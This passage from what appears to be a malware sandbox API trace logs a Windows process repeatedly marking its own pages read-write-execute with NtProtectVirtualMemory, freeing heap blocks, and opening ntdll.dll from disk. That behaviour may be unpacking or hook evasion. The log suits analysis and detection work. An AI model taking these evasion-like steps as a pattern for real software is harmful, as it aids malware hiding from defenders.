BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.484] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.496] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.507] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.517] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.535] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.546] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.557] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.567] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.585] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.595] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.606] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.617] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.635] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.645] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x912960) returned 1 [0255.651] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.661] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.678] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.689] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.699] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.710] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x913968) returned 1 [0255.723] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.744] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.755] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.772] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.782] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.793] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.803] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x928a48) returned 1 [0255.816] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.827] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.864] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.874] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.891] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.902] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.912] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.922] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.950] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.960] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.971] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x92da50) returned 1 [0255.976] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.986] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.002] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.012] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.022] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.032] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.049] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.059] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.069] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x932a58) returned 1 [0256.075] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.085] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.102] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.112] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.123] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.139] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.149] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.159] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.169] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.186] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.197] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.207] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.217] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.234] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.245] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.255] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.265] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.283] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.293] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.303] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.314] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.341] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.352] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.362] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.380] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.391] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.403] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.413] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.430] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.442] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\WINDOWS\\SYSTEM32\\ntdll.dll", NtPathName=0x1eb8f18c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\WINDOWS\\SYSTEM32\\ntdll.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0256.447] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.470] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.485] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.503] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.567] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.579] NtCreateFile (in: FileHandle=0x1eb8f1ac, DesiredAccess=0x120089, ObjectAttributes=0x1eb8f174*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\WINDOWS\\SYSTEM32\\ntdll.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x1eb8f194, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x1eb8f1ac*=0xb4, IoStatusBlock=0x1eb8f194*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0256.585] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.597] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x920a00) returned 1 [0256.610] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.621] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.631] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.641] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 